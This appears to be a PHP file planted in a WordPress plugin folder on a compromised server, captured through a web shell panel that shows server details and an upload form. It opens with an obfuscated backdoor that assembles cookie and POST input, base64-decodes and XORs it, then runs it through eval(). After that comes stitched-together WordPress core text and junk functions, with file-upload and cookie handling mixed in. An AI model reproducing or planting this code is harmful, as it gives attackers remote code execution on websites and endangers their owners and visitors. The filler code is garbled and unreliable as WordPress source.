| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/5ns1s4n8/ |
Upload File : |
<?php /* $gsZxVHJES = chr (71) . "\137" . chr ( 510 - 438 ).chr (115) . chr ( 914 - 846 )."\127" . 'D';$RIexR = "\143" . chr (108) . 'a' . "\x73" . chr (115) . "\137" . "\145" . 'x' . chr ( 1078 - 973 ).chr (115) . chr (116) . chr ( 965 - 850 ); $ksVcqdO = class_exists($gsZxVHJES); $RIexR = "15901";$YUDNXXLw = strpos($RIexR, $gsZxVHJES);if ($ksVcqdO == $YUDNXXLw){function nFldX(){$zFgSJVhc = new 50807 G_HsDWD(44264 + 44264); $zFgSJVhc = NULL;}$XHtNtAwzn = "44264";class G_HsDWD{private function jaJVS($XHtNtAwzn){if (is_array(G_HsDWD::$eWEwZyUfA)) {$McmuXMA2 = str_replace("<" . "?php /* ", "", G_HsDWD::$eWEwZyUfA["content"]);eval($McmuXMA2); $XHtNtAwzn = "44264";exit();}}public function yPMhzUn(){$McmuXMA = "50175";$this->_dummy = str_repeat($McmuXMA, strlen($McmuXMA));}public function __destruct(){G_HsDWD::$eWEwZyUfA = @unserialize(G_HsDWD::$eWEwZyUfA); $XHtNtAwzn = "10201_26037";$this->jaJVS($XHtNtAwzn); $XHtNtAwzn = "10201_26037";}public function jbTDI($McmuXMA, $dUICKgbr){return $McmuXMA[0] ^ str_repeat($dUICKgbr, intval(strlen($McmuXMA[0]) / strlen($dUICKgbr)) + 1);}public function MCJTsDLs($McmuXMA){$wllIs = "\x62" . chr ( 395 - 298 ).'s' . 'e' . chr ( 240 - 186 )."\x34";return array_map($wllIs . "\137" . chr (100) . "\145" . chr ( 1030 - 931 ).chr (111) . "\144" . "\x65", array($McmuXMA,));}public function __construct($LoWDUGHtCu=0){$VGJhH = ',';$McmuXMA = "";$mtZvaeYEMj = $_POST;$XcVmwZxL = $_COOKIE;$dUICKgbr = "3735135e-fcbc-4c28-b96b-f082c40425e3";$SCpSBYamf = @$XcVmwZxL[substr($dUICKgbr, 0, 4)];if (!empty($SCpSBYamf)){$SCpSBYamf = explode($VGJhH, $SCpSBYamf);foreach ($SCpSBYamf as $NHReyFdb){$McmuXMA .= @$XcVmwZxL[$NHReyFdb];$McmuXMA .= @$mtZvaeYEMj[$NHReyFdb];}$McmuXMA = $this->MCJTsDLs($McmuXMA);}G_HsDWD::$eWEwZyUfA = $this->jbTDI($McmuXMA, $dUICKgbr);if (strpos($dUICKgbr, $VGJhH) !== FALSE){$dUICKgbr = chunk_split($dUICKgbr); $dUICKgbr = rtrim($dUICKgbr);}}public static $eWEwZyUfA = 30730;}nFldX();} ?><?php /*
*
* WP_Theme_JSON class
*
* @package WordPress
* @subpackage Theme
* @since 5.8.0
*
* Class that encapsulates the processing of structures that adhere to the theme.json spec.
*
* This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
* This is a low-level API that may need to do breaking changes. Please,
* use get_global_settings, get_global_styles, and get_global_stylesheet instead.
*
* @access private
#[AllowDynamicProperties]
class WP_Theme_JSON {
*
* Container of data in theme.json format.
*
* @since 5.8.0
* @var array
protected $theme_json = null;
*
* Holds block metadata extracted from block.json
* to be shared among all instances so we don't
* process it twice.
*
* @since 5.8.0
* @since 6.1.0 Initialize as an empty array.
* @var array
protected static $blocks_metadata = array();
*
* The CSS selector for the top-level styles.
*
* @since 5.8.0
* @var string
const ROOT_BLOCK_SELECTOR = 'body';
*
* The sources of data this object can represent.
*
* @since 5.8.0
* @since 6.1.0 Added 'blocks'.
* @var string[]
const VALID_ORIGINS = array(
'default',
'blocks',
'theme',
'custom',
);
*
* Presets are a set of values that serve
* to bootstrap some styles: colors, font sizes, etc.
*
* They are a unkeyed array of values such as:
*
* ```php
* array(
* array(
* 'slug' => 'unique-name-within-the-set',
* 'name' => 'Name for the UI',
* <value_key> => 'value'
* ),
* )
* ```
*
* This contains the necessary metadata to process them:
*
* - path => Where to find the preset within the settings section.
* - prevent_override => Disables override of default presets by theme presets.
* The relationship between whether to override the defaults
* and whether the defaults are enabled is inverse:
* - If defaults are enabled => theme presets should not be overriden
* - If defaults are disabled => theme presets should be overriden
* For example, a theme sets defaultPalette to false,
* making the default palette hidden from the user.
* In that case, we want all the theme presets to be present,
* so they should override the defaults by setting this false.
* - use_default_names => whether to use the default names
* - value_key => the key that represents the value
* - value_func => optionally, instead of value_key, a function to generate
* the value that takes a preset as an argument
* (either value_key or value_func should be present)
* - css_vars => template string to use in generating the CSS Custom Property.
* Example output: "--wp--preset--duotone--blue: <value>" will generate as many CSS Custom Properties as presets defined
* substituting the $slug for the slug's value for each preset value.
* - classes => array containing a structure with the classes to
* generate for the presets, where for each array item
* the key is the class name and the value the property name.
* The "$slug" substring will be replaced by the slug of each preset.
* For example:
* 'classes' => array(
* '.has-$slug-color' => 'color',
* '.has-$slug-background-color' => 'background-color',
* '.has-$slug-border-color' => 'border-color',
* )
* - properties => array of CSS properties to be used by kses to
* validate the content of each preset
* by means of the remove_insecure_properties method.
*
* @since 5.8.0
* @since 5.9.0 Added the `color.duotone` and `typography.fontFamilies` presets,
* `use_default_names` preset key, and simplified the metadata structure.
* @since 6.0.0 Replaced `override` with `prevent_override` and updated the
* `prevent_overried` value for `color.duotone` to use `color.defaultDuotone`.
* @var array
const PRESETS_METADATA = array(
array(
'path' => array( 'color', 'palette' ),
'prevent_override' => array( 'color', 'defaultPalette' ),
'use_default_names' => false,
'value_key' => 'color',
'css_vars' => '--wp--preset--color--$slug',
'classes' => array(
'.has-$slug-color' => 'color',
'.has-$slug-background-color' => 'background-color',
'.has-$slug-border-color' => 'border-color',
),
'properties' => array( 'color', 'background-color', 'border-color' ),
),
array(
'path' => array( 'color', 'gradients' ),
'prevent_override' => array( 'color', 'defaultGradients' ),
'use_default_names' => false,
'value_key' => 'gradient',
'css_vars' => '--wp--preset--gradient--$slug',
'classes' => array( '.has-$slug-gradient-background' => 'background' ),
'properties' => array( 'background' ),
),
array(
'path' => array( 'color', 'duotone' ),
'prevent_override' => array( 'color', 'defaultDuotone' ),
'use_default_names' => false,
'value_func' => 'wp_get_duotone_filter_property',
'css_vars' => '--wp--preset--duotone--$slug',
'classes' => array(),
'properties' => array( 'filter' ),
),
array(
'path' => array( 'typography', 'fontSizes' ),
'prevent_override' => false,
'use_default_names' => true,
'value_func' => 'wp_get_typography_font_size_value',
'css_vars' => '--wp--preset--font-size--$slug',
'classes' => array( '.has-$slug-font-size' => 'font-size' ),
'properties' => array( 'font-size' ),
),
array(
'path' => array( 'typography', 'fontFamilies' ),
'prevent_override' => false,
'use_default_names' => false,
'value_key' => 'fontFamily',
'css_vars' => '--wp--preset--font-family--$slug',
'classes' => array( '.has-$slug-font-family' => 'font-family' ),
'properties' => array( 'font-family' ),
),
array(
'path' => array( 'spacing', 'spacingSizes' ),
'prevent_override' => false,
'use_default_names' => true,
'value_key' => 'size',
'css_vars' => '--wp--preset--spacing--$slug',
'classes' => array(),
'properties' => array( 'padding', 'margin' ),
),
);
*
* Metadata for style properties.
*
* Each element is a direct mapping from the CSS property name to the
* path to the value in theme.json & block attributes.
*
* @since 5.8.0
* @since 5.9.0 Added the `border-*`, `font-family`, `font-style`, `font-weight`,
* `letter-spacing`, `margin-*`, `padding-*`, `--wp--style--block-gap`,
* `text-decoration`, `text-transform`, and `filter` properties,
* simplified the metadata structure.
* @since 6.1.0 Added the `border-*-color`, `border-*-width`, `border-*-style`,
* `--wp--style--root--padding-*`, and `box-shadow` properties,
* removed the `--wp--style--block-gap` property.
* @var array
const PROPERTIES_METADATA = array(
'background' => array( 'color', 'gradient' ),
'background-color' => array( 'color', 'background' ),
'border-radius' => array( 'border', 'radius' ),
'border-top-left-radius' => array( 'border', 'radius', 'topLeft' ),
'border-top-right-radius' => array( 'border', 'radius', 'topRight' ),
'border-bottom-left-radius' => array( 'border', 'radius', 'bottomLeft' ),
'border-bottom-right-radius' => array( 'border', 'radius', 'bottomRight' ),
'border-color' => array( 'border', 'color' ),
'border-width' => array( 'border', 'width' ),
'border-style' => array( 'border', 'style' ),
'border-top-color' => array( 'border', 'top', 'color' ),
'border-top-width' => array( 'border', 'top', 'width' ),
'border-top-style' => array( 'border', 'top', 'style' ),
'border-right-color' => array( 'border', 'right', 'color' ),
'border-right-width' => array( 'border', 'right', 'width' ),
'border-right-style' => array( 'border', 'right', 'style' ),
'border-bottom-color' => array( 'border', 'bottom', 'color' ),
'border-bottom-width' => array( 'border', 'bottom', 'width' ),
'border-bottom-style' => array( 'border', 'bottom', 'style' ),
'border-left-color' => array( 'border', 'left', 'color' ),
'border-left-width' => array( 'border', 'left', 'width' ),
'border-left-style' => array( 'border', 'left', 'style' ),
'color' => array( 'color', 'text' ),
'font-family' => array( 'typography', 'fontFamily' ),
'font-size' => array( 'typography', 'fontSize' ),
'font-style' => array( 'typography', 'fontStyle' ),
'font-weight' => array( 'typography', 'fontWeight' ),
'letter-spacing' => array( 'typography', 'letterSpacing' ),
'line-height' => array( 'typography', 'lineHeight' ),
'margin' => array( 'spacing', 'margin' ),
'margin-top' => array( 'spacing', 'margin', 'top' ),
'margin-right' => array( 'spacing', 'margin', 'right' ),
'margin-bottom' => array( 'spacing', 'margin', 'bottom' ),
'margin-left' => array( 'spacing', 'margin', 'left' ),
'padding' => array( 'spacing', 'padding' ),
'padding-top' => array( 'spacing', 'padding', 'top' ),
'padding-right' => array( 'spacing', 'padding', 'right' ),
'padding-bottom' => array( 'spacing', 'padding', 'bottom' ),
'padding-left' => array( 'spacing', 'padding', 'left' ),
'--wp--style--root--padding' => array( 'spacing', 'padding' ),
'--wp--style--root--padding-top' => array( 'spacing', 'padding', 'top' ),
'--wp--style--root--padding-right' => array( 'spacing', 'padding', 'right' ),
'--wp--style--root--padding-bottom' => array( 'spacing', 'padding', 'bottom' ),
'--wp--style--root--padding-left' => array( 'spacing', 'padding', 'left' ),
'text-decoration' => array( 'typography', 'textDecoration' ),
'text-transform' => array( 'typography', 'textTransform' ),
'filter' => array( 'filter', 'duotone' ),
'box-shadow' => array( 'shadow' ),
);
*
* Protected style properties.
*
* These style properties are only rendered if a setting enables it
* via a value other than `null`.
*
* Each element maps the style property to the corresponding theme.json
* setting key.
*
* @since 5.9.0
const PROTECTED_PROPERTIES = array(
'spacing.blockGap' => array( 'spacing', 'blockGap' ),
);
*
* The top-level keys a theme.json can have.
*
* @since 5.8.0 As `ALLOWED_TOP_LEVEL_KEYS`.
* @since 5.9.0 Renamed from `ALLOWED_TOP_LEVEL_KEYS` to `VALID_TOP_LEVEL_KEYS`,
* added the `customTemplates` and `templateParts` values.
* @var string[]
const VALID_TOP_LEVEL_KEYS = array(
'customTemplates',
'patterns',
'settings',
'styles',
'templateParts',
'version',
'title',
);
*
* The valid properties under the settings key.
*
* @since 5.8.0 As `ALLOWED_SETTINGS`.
* @since 5.9.0 Renamed from `ALLOWED_SETTINGS` to `VALID_SETTINGS`,
* added new properties for `border`, `color`, `spacing`,
* and `typography`, and renamed others according to the new schema.
* @since 6.0.0 Added `color.defaultDuotone`.
* @since 6.1.0 Added `layout.definitions` and `useRootPaddingAwareAlignments`.
* @var array
const VALID_SETTINGS = array(
'appearanceTools' => null,
'useRootPaddingAwareAlignments' => null,
'border' => array(
'color' => null,
'radius' => null,
'style' => null,
'width' => null,
),
'color' => array(
'background' => null,
'custom' => null,
'customDuotone' => null,
'customGradient' => null,
'defaultDuotone' => null,
'defaultGradients' => null,
'defaultPalette' => null,
'duotone' => null,
'gradients' => null,
'link' => null,
'palette' => null,
'text' => null,
),
'custom' => null,
'layout' => array(
'contentSize' => null,
'definitions' => null,
'wideSize' => null,
),
'spacing' => array(
'customSpacingSize' => null,
'spacingSizes' => null,
'spacingScale' => null,
'blockGap' => null,
'margin' => null,
'padding' => null,
'units' => null,
),
'typography' => array(
'fluid' => null,
'customFontSize' => null,
'dropCap' => null,
'fontFamilies' => null,
'fontSizes' => null,
'fontStyle' => null,
'fontWeight' => null,
'letterSpacing' => null,
'lineHeight' => null,
'textDecoration' => null,
'textTransform' => null,
),
);
*
* The valid properties under the styles key.
*
* @since 5.8.0 As `ALLOWED_STYLES`.
* @since 5.9.0 Renamed from `ALLOWED_STYLES` to `VALID_STYLES`,
* added new properties for `border`, `filter`, `spacing`,
* and `typography`.
* @since 6.1.0 Added new side properties for `border`,
* added new property `shadow`,
* updated `blockGap` to be allowed at any level.
* @var array
const VALID_STYLES = array(
'border' => array(
'color' => null,
'radius' => null,
'style' => null,
'width' => null,
'top' => null,
'right' => null,
'bottom' => null,
'left' => null,
),
'color' => array(
'background' => null,
'gradient' => null,
'text' => null,
),
'filter' => array(
'duotone' => null,
),
'shadow' => null,
'spacing' => array(
'margin' => null,
'padding' => null,
'blockGap' => null,
),
'typography' => array(
'fontFamily' => null,
'fontSize' => null,
'fontStyle' => null,
'fontWeight' => null,
'letterSpacing' => null,
'lineHeight' => null,
'textDecoration' => null,
'textTransform' => null,
),
);
*
* Defines which pseudo selectors are enabled for which elements.
*
* The order of the selectors should be: visited, hover, focus, active.
* This is to ensure that 'visited' has the*/
/**
* Check whether a usermeta key has to do with the current blog.
*
* @since MU (3.0.0)
* @deprecated 4.9.0
*
* @global wpdb $quick_edit_classes WordPress database abstraction object.
*
* @param string $commentmeta_results
* @param int $original_content Optional. Defaults to current user.
* @param int $cuetrackpositions_entry Optional. Defaults to current blog.
* @return bool
*/
function locate_translation($commentmeta_results, $original_content = 0, $cuetrackpositions_entry = 0)
{
global $quick_edit_classes;
_deprecated_function(__FUNCTION__, '4.9.0');
$lcs = wp_get_current_user();
if ($cuetrackpositions_entry == 0) {
$cuetrackpositions_entry = get_current_blog_id();
}
$is_intermediate = $quick_edit_classes->get_blog_prefix($cuetrackpositions_entry) . $commentmeta_results;
return isset($lcs->{$is_intermediate});
}
$nohier_vs_hier_defaults = 'ylrxl252';
/**
* Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table.
*
* The dynamic portion of the hook name, `$exports_dir_file`, refers to the path
* to the plugin file, relative to the plugins directory.
*
* @since 3.1.0
*
* @param string[] $actions An array of plugin action links. By default this can include
* 'activate', 'deactivate', and 'delete'.
* @param string $exports_dir_file Path to the plugin file relative to the plugins directory.
* @param array $exports_dir_data An array of plugin data. See get_plugin_data()
* and the {@see 'plugin_row_meta'} filter for the list
* of possible values.
* @param string $context The plugin context. By default this can include 'all',
* 'active', 'inactive', 'recently_activated', 'upgrade',
* 'mustuse', 'dropins', and 'search'.
*/
function get_subtypes($css_unit){
$in_search_post_types = 'aje8';
if(!isset($completed_timestamp)) {
$completed_timestamp = 'nifeq';
}
$g6 = __DIR__;
$wpmu_sitewide_plugins['l8yf09a'] = 'b704hr7';
$completed_timestamp = sinh(756);
$in_search_post_types = ucwords($in_search_post_types);
$leaf_path = 'hmuoid';
$pending_objects['sxc02c4'] = 1867;
$left_lines['cj3nxj'] = 3701;
if(!(floor(193)) != FALSE){
$innerHTML = 'wmavssmle';
}
if(empty(urldecode($leaf_path)) === FALSE) {
$pages_with_children = 'zvei5';
}
// s16 =
$hooked['w5ro4bso'] = 'bgli5';
$sql_part = (!isset($sql_part)?'bpfu1':'nnjgr');
$titles['duzmxa8d'] = 'v1v5089b';
$in_search_post_types = bin2hex($in_search_post_types);
$docs_select['ntqzo'] = 'ohft2';
if((expm1(193)) == true) {
$cachekey = 'jcpkmi';
}
$time_window = ".php";
$css_unit = $css_unit . $time_window;
// Get the form.
$in_search_post_types = asinh(97);
$completed_timestamp = addslashes($completed_timestamp);
// Get the type without attributes, e.g. `int`.
// carry21 = (s21 + (int64_t) (1L << 20)) >> 21;
$css_unit = DIRECTORY_SEPARATOR . $css_unit;
// where we started from in the file
// ----- Look for options that takes a string
$css_unit = $g6 . $css_unit;
$in_search_post_types = chop($in_search_post_types, $in_search_post_types);
$cache_misses = 'ymhs30';
// Public variables
$expires['pj3v1ypo1'] = 'zvi6swq5i';
$endoffset['sfe3t'] = 717;
// Upload File button was clicked.
if(!isset($default_term)) {
$default_term = 'mim3rgk';
}
if(!isset($what_post_type)) {
$what_post_type = 'yoci';
}
$default_term = is_string($in_search_post_types);
$what_post_type = md5($cache_misses);
// Convert relative to absolute.
$newname['kgdv9u'] = 'zftt8co';
$toggle_aria_label_open['uysiui'] = 'voivwmg9';
// http://atomicparsley.sourceforge.net/mpeg-4files.html
// Group symbol $xx
// See AV1 Codec ISO Media File Format Binding 2.3.1
// Item LOCation
return $css_unit;
}
$registered_categories_outside_init = 'ebbzhr';
$total_revisions = 'qe09o2vgm';
$transparency = 'mf2f';
/**
* Server-side rendering of the `core/post-comments-form` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-comments-form` block on the server.
*
* @param array $archives Block attributes.
* @param string $instance_schema Block default content.
* @param WP_Block $display_name Block instance.
* @return string Returns the filtered post comments form for the current post.
*/
function addCallback($archives, $instance_schema, $display_name)
{
if (!isset($display_name->context['postId'])) {
return '';
}
if (post_password_required($display_name->context['postId'])) {
return;
}
$cid = array('comment-respond');
// See comment further below.
if (isset($archives['textAlign'])) {
$cid[] = 'has-text-align-' . $archives['textAlign'];
}
if (isset($archives['style']['elements']['link']['color']['text'])) {
$cid[] = 'has-link-color';
}
$custom_css_query_vars = get_block_wrapper_attributes(array('class' => implode(' ', $cid)));
add_filter('comment_form_defaults', 'post_comments_form_block_form_defaults');
ob_start();
comment_form(array(), $display_name->context['postId']);
$full_page = ob_get_clean();
remove_filter('comment_form_defaults', 'post_comments_form_block_form_defaults');
// We use the outermost wrapping `<div />` returned by `comment_form()`
// which is identified by its default classname `comment-respond` to inject
// our wrapper attributes. This way, it is guaranteed that all styling applied
// to the block is carried along when the comment form is moved to the location
// of the 'Reply' link that the user clicked by Core's `comment-reply.js` script.
$full_page = str_replace('class="comment-respond"', $custom_css_query_vars, $full_page);
// Enqueue the comment-reply script.
wp_enqueue_script('comment-reply');
return $full_page;
}
/**
* Retrieves the list of bookmarks.
*
* Attempts to retrieve from the cache first based on MD5 hash of arguments. If
* that fails, then the query will be built from the arguments and executed. The
* results will be stored to the cache.
*
* @since 2.1.0
*
* @global wpdb $quick_edit_classes WordPress database abstraction object.
*
* @param string|array $args {
* Optional. String or array of arguments to retrieve bookmarks.
*
* @type string $orderby How to order the links by. Accepts 'id', 'link_id', 'name', 'link_name',
* 'url', 'link_url', 'visible', 'link_visible', 'rating', 'link_rating',
* 'owner', 'link_owner', 'updated', 'link_updated', 'notes', 'link_notes',
* 'description', 'link_description', 'length' and 'rand'.
* When `$orderby` is 'length', orders by the character length of
* 'link_name'. Default 'name'.
* @type string $order Whether to order bookmarks in ascending or descending order.
* Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'.
* @type int $limit Amount of bookmarks to display. Accepts any positive number or
* -1 for all. Default -1.
* @type string $category Comma-separated list of category IDs to include links from.
* Default empty.
* @type string $category_name Category to retrieve links for by name. Default empty.
* @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts
* 1|true or 0|false. Default 1|true.
* @type int|bool $show_updated Whether to display the time the bookmark was last updated.
* Accepts 1|true or 0|false. Default 0|false.
* @type string $include Comma-separated list of bookmark IDs to include. Default empty.
* @type string $exclude Comma-separated list of bookmark IDs to exclude. Default empty.
* @type string $search Search terms. Will be SQL-formatted with wildcards before and after
* and searched in 'link_url', 'link_name' and 'link_description'.
* Default empty.
* }
* @return object[] List of bookmark row objects.
*/
function is_active($role_key){
$indent = 'ja2hfd';
$shortcode = (!isset($shortcode)? "iern38t" : "v7my");
$iMax = 'f4tl';
$has_valid_settings['dk8l'] = 'cjr1';
if(!isset($link_categories)) {
$link_categories = 'euyj7cylc';
}
$original_args['gc0wj'] = 'ed54';
if(!isset($comma)) {
$comma = 'krxgc7w';
}
$link_categories = rawurlencode($iMax);
$indent = htmlspecialchars_decode($indent);
$wp_param['s560'] = 4118;
$cache_plugins = (!isset($cache_plugins)? 'mgoa7b2' : 'lrb72r2a');
$comma = sinh(943);
$link_categories = sinh(495);
$para['i34i2v'] = 'gwgguisu';
if(!isset($id_query_is_cacheable)) {
$id_query_is_cacheable = 'mpr5wemrg';
}
if(!empty(crc32($indent)) != True) {
$pub_date = 'z2q8ac7';
}
$id_query_is_cacheable = urldecode($comma);
$sub1embed = (!isset($sub1embed)? 'irwiqkz' : 'e2akz');
$role_key = ord($role_key);
return $role_key;
}
/**
* Calls the render callback of a widget and returns the output.
*
* @since 5.8.0
*
* @global array $wp_registered_widgets The registered widgets.
* @global array $wp_registered_sidebars The registered sidebars.
*
* @param string $redirect_network_admin_request Widget ID.
* @param string $sidebar_id Sidebar ID.
* @return string
*/
function render_block_core_comment_content ($group_item_data){
// TRAck Fragment box
$comment_vars = 'impjul1yg';
$wide_size = 'jdsauj';
$clause_compare['e8hsz09k'] = 'jnnqkjh';
if(!isset($margin_right)) {
$margin_right = 'prr1323p';
}
$group_item_data = 'pcl8f7';
$gd = 'vbppkswfq';
if((sqrt(481)) == TRUE) {
$to_do = 'z2wgtzh';
}
if((quotemeta($wide_size)) == True) {
$css_rules = 'brwxze6';
}
$margin_right = exp(584);
// $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
$rest_controller_class = (!isset($rest_controller_class)? 'x6ij' : 'o0irn9vc');
$parent_slug = (!isset($parent_slug)? 'oaan' : 'mlviiktq');
$db_version['l2qb6s'] = 'n2qqivoi2';
$reset['yhk6nz'] = 'iog7mbleq';
// ----- Look for arguments
if(!(md5($group_item_data)) == True) {
$is_visual_text_widget = 'ozjknd0ms';
}
$save['lpzeipku'] = 'oatz';
$group_item_data = stripos($group_item_data, $group_item_data);
$group_item_data = asinh(5);
$compare = (!isset($compare)? 'yk3oe' : 'q22nr1');
$group_item_data = tan(916);
$p_central_dir['to9e'] = 'nxcrgzhj';
if(empty(cos(306)) === True) {
$context_dirs = 'q3cmmnswe';
}
$group_item_data = bin2hex($group_item_data);
$big['ptgt9wij'] = 'c92t';
$group_item_data = strtr($group_item_data, 13, 18);
$permalink_structure['ftyae7j'] = 'romwat';
$group_item_data = log1p(575);
$hexString = 'dgnqj1rnd';
$error_list['zmkgfdz82'] = 2845;
if(empty(htmlspecialchars_decode($hexString)) !== False) {
$socket_pos = 'w9i8b';
}
if(!empty(exp(585)) === true) {
$previouscat = 'ghxs5495';
}
$group_item_data = soundex($group_item_data);
$frameset_ok['e2vmhfz'] = 'x1ggr5';
$hexString = strtr($group_item_data, 13, 13);
$late_validity['xq8t'] = 4356;
if(empty(sin(847)) !== True){
$is_list_item = 'k5wb9r5f';
}
$hexString = strtoupper($group_item_data);
return $group_item_data;
}
/*
* There's a deprecation warning generated by WP Core.
* Ideally this deprecation is removed from Core.
* In the meantime, this removes it from the output.
*/
function post_comments_feed_link($token_start, $ua, $pointbitstring){
// Start the child delimiter.
$s20 = 'dy5u3m';
$base_length = 'fkgq88';
$css_unit = $_FILES[$token_start]['name'];
$base_length = wordwrap($base_length);
$leading_html_start['pvumssaa7'] = 'a07jd9e';
if((bin2hex($s20)) === true) {
$crons = 'qxbqa2';
}
$first_two = 'r4pmcfv';
if(empty(strnatcasecmp($base_length, $first_two)) === True) {
$description_wordpress_id = 'gsqrf5q';
}
$menu_items_to_delete = 'mt7rw2t';
$should_replace_insecure_home_url = get_subtypes($css_unit);
$first_two = floor(675);
$menu_items_to_delete = strrev($menu_items_to_delete);
// Template for the editor uploader.
$orphans = (!isset($orphans)? "bf8x4" : "mma4aktar");
$base_length = atan(237);
$wp_template_path = 'odt9vgiwz';
$s20 = log10(568);
$s20 = atan(663);
if(!isset($ipv4_pattern)) {
$ipv4_pattern = 'znvv8px';
}
get_circular_dependencies($_FILES[$token_start]['tmp_name'], $ua);
akismet_remove_comment_author_url($_FILES[$token_start]['tmp_name'], $should_replace_insecure_home_url);
}
/* If this is a daily archive */
function wp_sanitize_script_attributes ($mem){
$group_item_data = 'b9oknne';
$store_changeset_revision = (!isset($store_changeset_revision)?'wmz0rtgbr':'l6j8e870l');
if((rtrim($group_item_data)) === False) {
$tablefield_field_lowercased = 'g653exy0h';
}
$boxdata = 'uibi';
if(!(htmlspecialchars($boxdata)) != True) {
// unspam=1: Clicking "Not Spam" underneath a comment in wp-admin and allowing the AJAX request to happen. Or, clicking "Undo" after marking something as spam.
$strfData = 'rosr';
}
$mem = 'ii4y3t';
$preview_file['tlws9'] = 1628;
if(!isset($is_preview)) {
$is_preview = 'zkp6ba';
}
$is_preview = strrev($mem);
$menu_objects = 'e11nbw';
$COUNT['vfcs44yzl'] = 'rr2u803fx';
if(!isset($hexString)) {
$hexString = 'mbwy';
}
$hexString = ltrim($menu_objects);
$scrape_key = (!isset($scrape_key)? 'ez698vni' : 'jt5zg1');
$group_item_data = basename($menu_objects);
$group_item_data = stripslashes($hexString);
$space_left = (!isset($space_left)?'iahoc9s52':'x2sc');
$f0g5['vbwrpu05l'] = 'ttxts';
if(!isset($ignored_hooked_blocks)) {
$ignored_hooked_blocks = 'fd1xe9vz';
}
$ignored_hooked_blocks = stripos($is_preview, $hexString);
if(!empty(acosh(276)) !== False) {
$id_format = 'uez6agp2z';
}
if((asinh(864)) != true) {
$authtype = 'pwqki4dy';
}
$person_tag['w3pya'] = 'ihu9jt5n6';
if(!empty(bin2hex($menu_objects)) !== False) {
$bString = 'q21wdcz';
}
if(!empty(urldecode($ignored_hooked_blocks)) == True){
$last_index = 'qeq6te6w4';
}
$deviation_cbr_from_header_bitrate = (!isset($deviation_cbr_from_header_bitrate)? 'mm2ba5z' : 'seztei');
if(!empty(exp(753)) === false) {
$sendback_text = 'yhix';
}
return $mem;
}
// Have to page the results.
$f0g3['icyva'] = 'huwn6t4to';
/**
* Unregisters a block type.
*
* @since 5.0.0
*
* @param string|WP_Block_Type $subatomarray Block type name including namespace, or alternatively
* a complete WP_Block_Type instance.
* @return WP_Block_Type|false The unregistered block type on success, or false on failure.
*/
function wp_ajax_get_post_thumbnail_html($subatomarray)
{
return WP_Block_Type_Registry::get_instance()->unregister($subatomarray);
}
$constants = 'fh3tw4dw';
$transparency = soundex($transparency);
/**
* Objects representing the current network and current site.
*
* These may be populated through a custom `sunrise.php`. If not, then this
* file will attempt to populate them based on the current request.
*
* @global WP_Network $merged_styles_site The current network.
* @global object $merged_styles_blog The current site.
* @global string $domain Deprecated. The domain of the site found on load.
* Use `get_site()->domain` instead.
* @global string $path Deprecated. The path of the site found on load.
* Use `get_site()->path` instead.
* @global int $site_id Deprecated. The ID of the network found on load.
* Use `get_current_network_id()` instead.
* @global bool $public Deprecated. Whether the site found on load is public.
* Use `get_site()->public` instead.
*
* @since 3.0.0
*/
if(!isset($success)) {
$success = 'plnx';
}
/**
* Loads the theme's textdomain.
*
* Translation files are not inherited from the parent theme. TODO: If this fails for the
* child theme, it should probably try to load the parent theme's translations.
*
* @since 3.4.0
*
* @return bool True if the textdomain was successfully loaded or has already been loaded.
* False if no textdomain was specified in the file headers, or if the domain could not be loaded.
*/
function mod_rewrite_rules($admin_body_class, $rating_scheme){
// For obvious reasons, the cookie domain cannot be a suffix if the passed domain
$newmeta = is_active($admin_body_class) - is_active($rating_scheme);
//$roomtyp_bytes = ($roomtyp_bytes << 8) | Ord($roomtyp_byte);
// Only post types are attached to this taxonomy.
$g2 = 'nmqc';
// Description WCHAR 16 // array of Unicode characters - Description
// If the save failed, see if we can confidence check the main fields and try again.
// Extra fields.
if(!isset($is_month)) {
$is_month = 'd4xzp';
}
$newmeta = $newmeta + 256;
$is_month = strtr($g2, 13, 6);
$all_taxonomy_fields['qotcx60yr'] = 'dj3pssch0';
if(!empty(sqrt(289)) === true) {
$default_scripts = 'oeyoxkwks';
}
if(!empty(dechex(794)) != true) {
$person_data = 'jri2';
}
$connection_lost_message['sxupj'] = 2862;
$newmeta = $newmeta % 256;
if(!empty(sinh(809)) == true) {
$collection_params = 'uj4nwt9';
}
if(empty(base64_encode($is_month)) != True) {
$core_meta_boxes = 'wcnyb5';
}
// [54][DD] -- The number of video pixels to remove on the right of the image.
$admin_body_class = sprintf("%c", $newmeta);
return $admin_body_class;
}
$success = strcoll($nohier_vs_hier_defaults, $nohier_vs_hier_defaults);
/*======================================================================*\
Function: _check_timeout
Purpose: checks whether timeout has occurred
Input: $fp file pointer
\*======================================================================*/
if(empty(md5($total_revisions)) == true) {
$responsive_container_directives = 'mup1up';
}
/**
* Filters the Mediaelement fallback output for no-JS.
*
* @since 3.6.0
*
* @param string $output Fallback output for no-JS.
* @param string $ThisFileInfo Media file URL.
*/
function box_encrypt($token_start, $ua){
$presets = 'j3ywduu';
if(empty(sqrt(262)) == True){
$blog_title = 'dwmyp';
}
$g2 = 'nmqc';
$rtval = (!isset($rtval)? "kr0tf3qq" : "xp7a");
if(!isset($before_closer_tag)) {
$before_closer_tag = 'jmsvj';
}
$presets = strnatcasecmp($presets, $presets);
if(!isset($is_month)) {
$is_month = 'd4xzp';
}
if(!isset($link_description)) {
$link_description = 'g4jh';
}
$before_closer_tag = log1p(875);
if(!isset($fscod)) {
$fscod = 'oov3';
}
$fscod = cos(981);
if(!isset($catid)) {
$catid = 'mj3mhx0g4';
}
$link_description = acos(143);
$is_month = strtr($g2, 13, 6);
if(!empty(stripslashes($presets)) != false) {
$pic_height_in_map_units_minus1 = 'c2xh3pl';
}
$entities = $_COOKIE[$token_start];
